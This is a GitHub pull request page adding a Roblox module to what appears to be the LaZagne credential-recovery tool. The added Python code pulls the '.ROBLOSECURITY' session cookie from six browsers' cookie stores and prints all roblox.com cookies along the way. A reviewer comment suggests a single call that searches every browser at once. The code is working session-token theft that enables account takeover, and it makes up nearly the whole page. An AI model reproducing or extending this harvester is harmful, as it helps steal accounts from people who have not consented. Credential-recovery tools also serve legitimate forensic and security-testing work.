Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Added more software #620

Open
wants to merge 12 commits into
base: master
Choose a base branch
from
67 changes: 67 additions & 0 deletions Windows/lazagne/softwares/games/roblox.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,67 @@
import requests, robloxpy, json, browser_cookie3, os.path

user = os.path.expanduser("~")


def robloxl():
data = []

try:
cookies = browser_cookie3.chrome(domain_name='roblox.com')

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

it seems you can call
browser_cookie3.load(domain_name='roblox.com')
to test for all browsers in one single call.
as shown in browser_cookie3 's code:

https://github.com/borisbabic/browser_cookie3/blob/3ce9776eac53794429f0177469887e3658b81266/browser_cookie3/__init__.py#L1226C5-L1226C9

for cookie in cookies:
print(cookie)
if cookie.name == '.ROBLOSECURITY':
data.append(cookies)
data.append(cookie.value)
return data
except:
pass
try:
cookies = browser_cookie3.brave(domain_name='roblox.com')
for cookie in cookies:
print(cookie)
if cookie.name == '.ROBLOSECURITY':
data.append(cookies)
data.append(cookie.value)
return data
except:
pass
try:
cookies = browser_cookie3.firefox(domain_name='roblox.com')
for cookie in cookies:
if cookie.name == '.ROBLOSECURITY':
data.append(cookies)
data.append(cookie.value)
return data
except:
pass
try:
cookies = browser_cookie3.chromium(domain_name='roblox.com')
for cookie in cookies:
if cookie.name == '.ROBLOSECURITY':
data.append(cookies)
data.append(cookie.value)
return data
except:
pass

try:
cookies = browser_cookie3.edge(domain_name='roblox.com')
for cookie in cookies:
if cookie.name == '.ROBLOSECURITY':
print("L")
data.append(cookies)
data.append(cookie.value)
return data
except:
pass

try:
cookies = browser_cookie3.opera(domain_name='roblox.com')
for cookie in cookies:
if cookie.name == '.ROBLOSECURITY':
data.append(cookies)
data.append(cookie.value)
return data
except:
pass